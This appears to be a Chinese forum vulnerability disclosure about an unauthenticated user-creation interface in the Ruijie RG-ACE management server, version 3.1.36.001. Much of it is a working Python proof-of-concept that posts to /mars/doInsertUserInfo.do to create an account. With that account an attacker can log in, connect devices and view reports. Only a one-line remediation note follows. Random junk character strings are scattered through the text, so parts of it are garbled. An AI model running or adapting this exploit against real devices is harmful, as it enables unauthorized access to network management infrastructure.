锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
  u, ]4 O  N, B- E' C3 h7 [8 z
: _) N& x$ z" U7 W& U9 V8 N5 Y& S
测试的具体版本是
+ }/ v+ \! o# P# [- w4 a产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
编译时间: 201104291730


- X1 L9 f, l' p* S0 v  a  K漏洞证明：

0 R5 Q. n3 r+ R( ^
$ z3 A6 i5 G: I! s- h2 S5 ]

! E# j( k, o/ S7 U/ `2 u3 p
  _8 m9 ^! G5 V- F* P, G7 L, C
( c. a1 B# t9 U* s5 I0 g执行脚本
# g7 x4 F9 X: Z) G" S#! /usr/bin/env python
0 j- I: v7 l( n5 ]; H+ [#coding=gbk
#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
" L0 ~8 ~8 h* s. K& c1 e& hopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
5 _8 d2 C- |" ], sopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
8 k# I4 A2 M6 P' t- Ppost=(("event","userManager.doInsertUserInfo"),
("useractionname","addButtonValue"),
("useropermanager","userManager"),
8 p& [; {- L4 X( D("userName","t"), #######账号自己加
) Q2 Z; M8 ?4 ]! v; t0 P  l("pwd","aaaaaa"),######密码自己加
("trueName","ad"),
  k5 m; j4 ^* Q- d: n& M( q("email",""),
1 c2 O9 Z* h% ~$ y("mobilePhone",""),
4 W/ K0 w3 x* c("officePhone",""),
- z% ^8 L; V) H) b& F$ @("addr",""),
("submit","确定"))
4 ?" T4 q+ [& }' Surllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"
) _. x* @. `3 `  N
登录，连接设备
1 u4 ?7 o- t. S- ]  h/ ?
2 Z8 O: \( b. S0 R


9 x  o0 Q, q1 I+ `5 l/ B8 f6 F; o, L
默认的管理员admin权限更大点



% e) Y" R3 m  I/ M

修复方案：
加强对接口的权限验证
: L) {* @9 y5 g; k  Y& |6 ~3 ^
& L! S" m/ U) W( d4 Y, x2 f- z; I